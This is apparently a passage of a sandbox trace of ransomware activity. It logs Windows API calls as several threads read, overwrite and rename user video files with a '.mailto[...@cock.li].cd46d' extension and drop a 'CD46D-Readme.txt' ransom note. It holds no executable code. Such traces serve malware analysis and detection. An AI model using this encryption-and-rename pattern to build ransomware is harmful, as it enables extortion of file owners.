returned 1 [0050.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\b6va.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb58 [0050.528] GetFileSizeEx (in: hFile=0xb58, lpFileSize=0xedaf900 | out: lpFileSize=0xedaf900*=8998) returned 1 [0050.528] SetFilePointerEx (in: hFile=0xb58, liDistanceToMove=0x2322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.528] ReadFile (in: hFile=0xb58, lpBuffer=0xedaf884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xedaf880, lpOverlapped=0x0 | out: lpBuffer=0xedaf884*, lpNumberOfBytesRead=0xedaf880*=0x4, lpOverlapped=0x0) returned 1 [0050.529] SetFilePointerEx (in: hFile=0xb58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07e0 [0050.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0050.529] NtQuerySystemTime (in: CurrentTime=0xedaf860 | out: CurrentTime=0xedaf860*=132174898145052000) returned 0x0 [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x34086ab0 [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x73a8cedc [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x45898609 [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x5f75e5d9 [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x45c0a1d8 [0050.529] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x1caec3cd [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x2c7c90ff [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x59634887 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x3a73faad [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x159be769 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x323379ed [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x49b5d674 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x5fa74e09 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x384fe42b [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x23748311 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x152e0e81 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x1394d184 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x1482e08f [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x20413549 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x757cff92 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x6ee097b4 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x198146c7 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x686950e6 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x3b525350 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x18749e8a [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x776d399f [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x54d92a4f [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x14281ba0 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x5983a896 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x5006fea8 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x2717dc76 [0050.530] RtlRandomEx (in: Seed=0xedaf86c | out: Seed=0xedaf86c) returned 0x1cec88d [0050.543] ReadFile (in: hFile=0xb58, lpBuffer=0x12b75860, nNumberOfBytesToRead=0x2326, lpNumberOfBytesRead=0xedaf85c, lpOverlapped=0x0 | out: lpBuffer=0x12b75860*, lpNumberOfBytesRead=0xedaf85c*=0x2326, lpOverlapped=0x0) returned 1 [0050.543] SetFilePointerEx (in: hFile=0xb58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.543] WriteFile (in: hFile=0xb58, lpBuffer=0x12b82068*, nNumberOfBytesToWrite=0x2326, lpNumberOfBytesWritten=0xedaf858, lpOverlapped=0x0 | out: lpBuffer=0x12b82068*, lpNumberOfBytesWritten=0xedaf858*=0x2326, lpOverlapped=0x0) returned 1 [0053.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cebe8 [0053.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cec10 [0053.341] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec10) returned 1 [0053.341] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b82068) returned 1 [0053.341] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b75860) returned 1 [0053.341] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0053.341] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0053.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x97cec10 [0053.341] SetFilePointerEx (in: hFile=0xb58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.341] WriteFile (in: hFile=0xb58, lpBuffer=0x5e47860*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xedaf8c0, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesWritten=0xedaf8c0*=0x101, lpOverlapped=0x0) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec38) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec60) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec10) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebe8) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07e0) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0053.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0053.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e027e0 [0053.571] wcscpy (in: _Dest=0x5e027e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi" [0053.571] wcscat (in: _Dest=0x5e027e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.571] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xedaf878, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.571] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d7c0 [0056.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d7c0) returned 1 [0056.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49ecd0) returned 1 [0056.133] NtQueryInformationFile (in: FileHandle=0xb58, IoStatusBlock=0xedaf884, FileInformation=0xedaf85c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xedaf884, FileInformation=0xedaf85c) returned 0x0 [0056.133] NtSetInformationFile (FileHandle=0xb58, IoStatusBlock=0xedaf884, FileInformation=0xedaf85c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e027e0) returned 1 [0056.508] FlushFileBuffers (hFile=0xb58) returned 1 [0056.511] CloseHandle (hObject=0xb58) returned 1 [0056.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a168 [0056.615] wcscpy (in: _Dest=0x12e2a168, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.615] wcscat (in: _Dest=0x12e2a168, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.615] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a168) returned 1 [0056.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 Thread: id = 629 os_tid = 0x878 [0050.543] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ft ld01fhg.avi")) returned 0x20 [0050.543] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi", dwFileAttributes=0x20) returned 1 [0050.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ft ld01fhg.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb5c [0050.544] GetFileSizeEx (in: hFile=0xb5c, lpFileSize=0xf22fb94 | out: lpFileSize=0xf22fb94*=55252) returned 1 [0050.544] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0xd7d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.544] ReadFile (in: hFile=0xb5c, lpBuffer=0xf22fb18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf22fb14, lpOverlapped=0x0 | out: lpBuffer=0xf22fb18*, lpNumberOfBytesRead=0xf22fb14*=0x4, lpOverlapped=0x0) returned 1 [0050.545] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.545] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.545] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0050.545] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.545] NtQuerySystemTime (in: CurrentTime=0xf22faf4 | out: CurrentTime=0xf22faf4*=132174898145208000) returned 0x0 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x3d36076f [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x60a6468d [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x21de2242 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x7f2f2940 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x23074e65 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x2eb82f62 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x7b09ba5e [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x18d630c [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x1b5b49ae [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x2809ab11 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x18dc4e8 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x18b029e3 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x75a4392b [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x2d903eed [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x4c100c65 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x10dfcde7 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x6c86c3d9 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x4bdb9313 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x528774b1 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x370caad9 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x5bd6e224 [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x640f08eb [0050.545] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x577d06e [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x7176a39c [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0xecc35b3 [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x60c5538b [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x323ebcf3 [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x12f520df [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x1f894479 [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x2349671c [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x143f071c [0050.546] RtlRandomEx (in: Seed=0xf22fb00 | out: Seed=0xf22fb00) returned 0x24fa6d8e [0050.559] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.559] ReadFile (in: hFile=0xb5c, lpBuffer=0x12b8e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf22fad4, lpOverlapped=0x0 | out: lpBuffer=0x12b8e870*, lpNumberOfBytesRead=0xf22fad4*=0xc800, lpOverlapped=0x0) returned 1 [0050.559] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0050.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43ac18 [0050.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0050.560] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12b9b078 [0050.563] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.563] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.563] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0050.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ac18) returned 1 [0050.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0050.564] WriteFile (in: hFile=0xb5c, lpBuffer=0x12b9b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf22fad4, lpOverlapped=0x0 | out: lpBuffer=0x12b9b078*, lpNumberOfBytesWritten=0xf22fad4*=0xc800, lpOverlapped=0x0) returned 1 [0053.345] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b9b078) returned 1 [0053.345] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b8e870) returned 1 [0053.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40ac28 [0053.349] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.349] WriteFile (in: hFile=0xb5c, lpBuffer=0x5e47a98*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0xf22fb54, lpOverlapped=0x0 | out: lpBuffer=0x5e47a98*, lpNumberOfBytesWritten=0xf22fb54*=0x10d, lpOverlapped=0x0) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47a98) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac60) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecd8) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0053.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600a8) returned 1 [0053.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e003a0 [0053.573] wcscpy (in: _Dest=0x5e003a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi" [0053.573] wcscat (in: _Dest=0x5e003a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.573] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf22fb0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\fT LD01FhG.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x5e47a30 [0054.695] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47a30) returned 1 [0054.695] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f120) returned 1 [0054.695] NtQueryInformationFile (in: FileHandle=0xb5c, IoStatusBlock=0xf22fb18, FileInformation=0xf22faf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf22fb18, FileInformation=0xf22faf0) returned 0x0 [0054.695] NtSetInformationFile (FileHandle=0xb5c, IoStatusBlock=0xf22fb18, FileInformation=0xf22faf0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e003a0) returned 1 [0054.701] FlushFileBuffers (hFile=0xb5c) returned 1 [0054.703] CloseHandle (hObject=0xb5c) returned 1 [0054.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416a50 [0054.704] wcscpy (in: _Dest=0x416a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.704] wcscat (in: _Dest=0x416a50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.704] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7d8 [0056.130] WriteFile (in: hFile=0x7d8, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xf22fb14, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xf22fb14*=0x6fd, lpOverlapped=0x0) returned 1 [0056.922] CloseHandle (hObject=0x7d8) returned 1 [0065.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416a50) returned 1 [0065.316] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447980) returned 1 Thread: id = 630 os_tid = 0x6ac [0050.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\h_dohia doifpttwyrb.flv")) returned 0x20 [0050.564] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv", dwFileAttributes=0x20) returned 1 [0050.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\h_dohia doifpttwyrb.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb60 [0050.564] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0xf16fccc | out: lpFileSize=0xf16fccc*=15086) returned 1 [0050.564] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x3aea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.564] ReadFile (in: hFile=0xb60, lpBuffer=0xf16fc50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf16fc4c, lpOverlapped=0x0 | out: lpBuffer=0xf16fc50*, lpNumberOfBytesRead=0xf16fc4c*=0x4, lpOverlapped=0x0) returned 1 [0050.565] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600d0 [0050.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0050.565] NtQuerySystemTime (in: CurrentTime=0xf16fc2c | out: CurrentTime=0xf16fc2c*=132174898145520000) returned 0x0 [0050.565] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x41ec4827 [0050.565] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x3b732252 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x3c6fa381 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x2889c3bd [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x5221eee [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x77b03a3d [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x4ad0ac0 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x1fc5039f [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x2bd53e43 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x3b6a409d [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x5b409c82 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x70b7bbd9 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x7dc6196a [0050.566] RtlRandomEx (in: 